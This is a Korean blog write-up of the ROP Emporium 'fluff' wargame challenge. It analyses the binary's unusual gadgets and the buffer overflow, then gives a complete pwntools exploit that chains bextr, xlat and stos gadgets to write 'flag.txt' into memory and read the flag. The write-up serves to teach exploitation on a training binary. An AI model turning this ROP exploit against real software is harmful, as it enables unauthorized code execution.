fluff

2023. 7. 7. 18:04·Wargame/ROP Emporium
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

questionableGadgets

   0x0000000000400628 <+0>:     xlat   %ds:(%rbx)
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    %rdx
   0x000000000040062b <+3>:     pop    %rcx
   0x000000000040062c <+4>:     add    $0x3ef2,%rcx
   0x0000000000400633 <+11>:    bextr  %rdx,%rcx,%rbx
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   %al,%es:(%rdi)
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nopl   0x0(%rax,%rax,1)

2.2. 분석

마찬가지로 앞선 문제와 거의 대동소이하다.

다만, 이번에는 주어진 gadget이 뭔가 알 수 없는 어셈블리어이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

buffer overflow

3.2. 공격 준비

개인적으로 어셈블리어를 다양하게 활용할 수 있겠다는 생각이 든 문제이다.

주어진 어셈블리어를 보면 아래와 같다.

   0x0000000000400628 <+0>:     xlat   %ds:(%rbx) #rbx + ds offset 위치의 값을 al에 넣는다.
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    %rdx
   0x000000000040062b <+3>:     pop    %rcx
   0x000000000040062c <+4>:     add    $0x3ef2,%rcx
   0x0000000000400633 <+11>:    bextr  %rdx,%rcx,%rbx #특정 연산 이후 그 값을 rbx에 넣는다.
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   %al,%es:(%rdi) #rdi 위치에 al 값을 넣는다
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nopl   0x0(%rax,%rax,1)

사실 bextr가 어떻게 연산이 진행되는지 잘 모르겠다.

하지만, 전체적인 모양은

bextr를 통한 rbx에 참고할 string의 위치를 넣기

xlat을 통해 해당 값을 al에 넣기

pop rdi ret gadget으로 값을 삽입하기 위한 주소 넣기

stos를 통해 rdi에 al 값 쓰기

가 될 것이다.

이를 어떻게든 맞춰서 flag.txt를 만들어줬다.

 

4. exploit

from pwn import *

p = process('./fluff')

bss = 0x601100
test = 0x40062a
rdi = 0x4006a3
bextr = 0x40062a
stos = 0x400639
xlat = 0x400628

string = 0x4003c1

pay = b'A'*8*5
#f 66
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string+22-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss)
pay += p64(stos)
#
#l 6c
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*4+2-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+1)
pay += p64(stos)
#
#a 61
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*5+7 -0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+2)
pay += p64(stos)
#
#g 67
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50-3-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+3)
pay += p64(stos)
#
#. 2e
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8*5-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+4)
pay += p64(stos)
#
#t 74
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x20+6-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+5)
pay += p64(stos)
#
#x 78
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x200+17-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+6)
pay += p64(stos)
#
#t 74
pay += p64(bextr)
pay += p64(0x612000)
pay += p64(string-0x50+8-0x3ef2)
pay += p64(xlat)
pay += p64(rdi)
pay += p64(bss+7)
pay += p64(stos)
pay += p64(rdi)
pay += p64(bss)
pay += p64(0x0000000000400620)
#

p.sendafter(b'> ',pay)

p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > ROP Emporium' 카테고리의 다른 글

ret2csu  (0) 2023.07.07
pivot  (0) 2023.07.07
badchar  (0) 2023.07.07
write4  (0) 2023.07.07
callme  (0) 2023.07.07
'Wargame/ROP Emporium' 카테고리의 다른 글
  • ret2csu
  • pivot
  • badchar
  • write4
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    lob
    Me
    docker
    32bit
    dreamhack
    x86
    Format String Bug
    heap
    hackerschool
    libc
    CANARY
    la ctf
    pwntools
    x64
    root-me
    tcache
    rop
    cryptohack
    exploit education
    ROOT ME
    64bit
    BOF
    vtable
    FSB
    RTL
    phoenix
    Buffer Overflow
    root
    _IO_FILE
    pwnable.kr
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
fluff
상단으로

티스토리툴바